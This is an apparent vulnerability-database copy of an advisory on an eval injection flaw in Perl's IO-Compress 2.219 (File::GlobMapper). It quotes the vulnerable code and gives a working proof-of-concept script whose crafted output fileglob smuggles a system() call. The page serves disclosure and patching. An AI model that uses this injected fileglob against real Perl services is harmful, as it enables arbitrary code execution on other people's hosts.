π IO-Compress 2.219 Eval Injection
ποΈΒ 10 Jun 2026Β 00:00:00Reported byΒ Joakim BΓΌlowTypeΒ
Β packetstormπΒ packetstorm.newsπΒ 112Β Views
| Reporter | Title | Published | Views | Family All 188 |
|---|---|---|---|---|
| AIX : Multiple Vulnerabilities (IJ59563) | 21 Aug 202600:00 | β | nessus | |
| AIX : Multiple Vulnerabilities (IJ59564) | 21 Aug 202600:00 | β | nessus | |
| AIX : Multiple Vulnerabilities (IJ59565) | 21 Aug 202600:00 | β | nessus | |
| AIX : Multiple Vulnerabilities (IJ59566) | 21 Aug 202600:00 | β | nessus | |
| Amazon Linux 2023 : perl-IO-Compress, perl-IO-Compress-tests (ALAS2023-2026-1825) | 22 Jun 202600:00 | β | nessus | |
| Amazon Linux 2 : perl-IO-Compress, --advisory ALAS2-2026-3355 (ALAS-2026-3355) | 22 Jun 202600:00 | β | nessus | |
| Alibaba Cloud Linux 3 : 0188: perl-IO-Compress (ALINUX3-SA-2026:0188) | 9 Jul 202600:00 | β | nessus | |
| AlmaLinux 8 : perl:5.32 (ALSA-2026:30851) | 30 Jun 202600:00 | β | nessus | |
| AlmaLinux 8 : perl-IO-Compress (ALSA-2026:30858) | 29 Jun 202600:00 | β | nessus | |
| AlmaLinux 9 : perl-IO-Compress (ALSA-2026:30859) | 29 Jun 202600:00 | β | nessus |
10
### Summary
An eval injection vulnerability in `File::GlobMapper::_getFiles()` allows any attacker who can control the output fileglob argument passed to `IO::Compress::Gzip::gzip()`, `IO::Compress::Zip::zip()`, or any sibling function to execute arbitrary Perl code in the context of the running process.
No authentication is required. Impact is complete: confidentiality, integrity, and availability of the host process are fully compromised.
---
### Details
`File::GlobMapper::_parseOutputGlob()` builds an output filename template by wrapping the caller-supplied output pattern in Perl double-quotes and storing the result. `_getFiles()` then passes that string directly to `eval` without
any sanitisation:
**`lib/File/GlobMapper.pm:316β321`**
```perl
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"'; # wrapped in double-quotes
$self->{OutputPattern} = $string; # stored verbatim β no escaping
```
**`lib/File/GlobMapper.pm:342`**
```perl
eval "\$outFile = $self->{OutputPattern};" ; # executed β injection point
```
`File::GlobMapper` is invoked automatically whenever **both** the input and output arguments to an `IO::Compress::*` / `IO::Uncompress::*` function are fileglob strings (delimited by `< >`). This is a documented, common calling
convention. Affected functions include `gzip`, `zip`, `bzip2`, `deflate`, `rawdeflate`, and all `IO::Uncompress::*` counterparts.
Any character that closes the surrounding double-quoted Perl string β a literal `"`, a backtick, `${...}`, or `@{...}` β followed by arbitrary Perl code is executed verbatim.
---
### PoC
Save as `poc.pl` and run with `perl poc.pl`:
```perl
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);
my $dir = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";
# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;
my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);
print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";
eval { gzip "<$dir/*.txt>" => $malicious };
if (-e $sentinel) {
print "EXPLOITED β arbitrary command executed via eval injection\n";
print "Sentinel: $sentinel\n";
unlink $sentinel;
} else {
print "Did not fire (check error: $@)\n";
}
```
**Expected output:**
```
Sentinel before: absent
EXPLOITED β arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>
```
Confirmed on IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04.
---
### Impact
This is a **remote code execution** vulnerability. Any web application, API service, CLI tool, or batch-processing pipeline that accepts user input and passes it as the output fileglob argument to any `IO::Compress::*` function is vulnerable. The injected code runs with the full privileges of the calling process.
**Who is impacted:** Developers and operators of Perl applications that use `IO::Compress::*` functions with the fileglob calling convention and where the output pattern is derived from untrusted input - such as filename templates from web forms, REST API parameters, CLI arguments, or configuration files controlled by non-privileged users.
In setuid or privileged-daemon contexts, exploitation yields code execution at the elevated privilege level. The bug has been present since the initial release of `File::GlobMapper` (β 2005) and is present on every Linux distribution that ships the `perl` package.
### References
- https://nvd.nist.gov/vuln/detail/CVE-2026-48962
- https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch
- https://github.com/pmqs/IO-Compress/issues/73
- https://metacpan.org/release/PMQS/IO-Compress-2.220/changes
- http://www.openwall.com/lists/oss-security/2026/05/27/4
- https://github.com/advisories/GHSA-q6wx-vhvq-x7h6Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jun 2026 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 3.17.3
EPSS0.00439
SSVC